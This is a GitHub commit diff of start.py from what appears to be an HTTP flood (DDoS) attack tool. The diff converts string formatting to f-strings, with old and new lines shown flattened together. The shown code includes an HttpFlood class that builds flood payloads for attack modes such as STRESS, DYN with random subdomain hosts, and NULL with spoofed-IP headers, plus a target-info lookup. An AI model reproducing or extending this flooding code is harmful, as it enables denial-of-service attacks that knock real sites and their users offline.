Update start.py

This commit is contained in:
ArmanHC 2022-04-03 01:18:59 +04:30 committed by GitHub
parent 9f3606c05f
commit f742af1acb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -159,7 +159,7 @@ class Tools:
suffix = MULTIPLES[multiple].format("i" if binary else "") suffix = MULTIPLES[multiple].format("i" if binary else "")
return f"{value:.{precision}f} {suffix}" return f"{value:.{precision}f} {suffix}"
else: else:
return f"-- B" return "-- B"
@staticmethod @staticmethod
def humanformat(num: int, precision: int = 2): def humanformat(num: int, precision: int = 2):
@ -660,7 +660,7 @@ class HttpFlood(Thread):
def generate_payload(self, other: str = None) -> bytes: def generate_payload(self, other: str = None) -> bytes:
return str.encode((self._payload + return str.encode((self._payload +
"Host: %s\r\n" % self._target.authority + f"Host: {self._target.authority}\r\n" + +
self.randHeadercontent + self.randHeadercontent +
(other if other else "") + (other if other else "") +
"\r\n")) "\r\n"))
@ -712,7 +712,7 @@ class HttpFlood(Thread):
def STRESS(self) -> None: def STRESS(self) -> None:
payload: bytes = self.generate_payload( payload: bytes = self.generate_payload(
(f"Content-Length: 524\r\n" ("Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n" "Content-Type: application/json\r\n\r\n"
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2] '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
@ -897,7 +897,7 @@ class HttpFlood(Thread):
def DYN(self): def DYN(self):
payload: Any = str.encode(self._payload + payload: Any = str.encode(self._payload +
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) + f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
self.randHeadercontent + self.randHeadercontent +
"\r\n") "\r\n")
s = None s = None
@ -966,7 +966,7 @@ class HttpFlood(Thread):
def NULL(self) -> None: def NULL(self) -> None:
payload: Any = str.encode(self._payload + payload: Any = str.encode(self._payload +
"Host: %s\r\n" % self._target.authority + f"Host: {self._target.authority}\r\n" +
"User-Agent: null\r\n" + "User-Agent: null\r\n" +
"Referrer: null\r\n" + "Referrer: null\r\n" +
self.SpoofIP + "\r\n") self.SpoofIP + "\r\n")
@ -1055,7 +1055,7 @@ class HttpFlood(Thread):
self.SENT_FLOOD = self.PPS self.SENT_FLOOD = self.PPS
self._defaultpayload = ( self._defaultpayload = (
self._defaultpayload + self._defaultpayload +
"Host: %s\r\n\r\n" % self._target.authority).encode() f"Host: {self._target.authority}\r\n\r\n").encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN if name == "EVEN": self.SENT_FLOOD = self.EVEN
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
if name == "BOMB": self.SENT_FLOOD = self.BOMB if name == "BOMB": self.SENT_FLOOD = self.BOMB
@ -1355,7 +1355,7 @@ class ToolsConsole:
# noinspection PyUnreachableCode # noinspection PyUnreachableCode
@staticmethod @staticmethod
def info(domain): def info(domain):
with suppress(Exception), get("https://ipwhois.app/json/%s/" % domain) as s: with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
return s.json() return s.json()
return {"success": False} return {"success": False}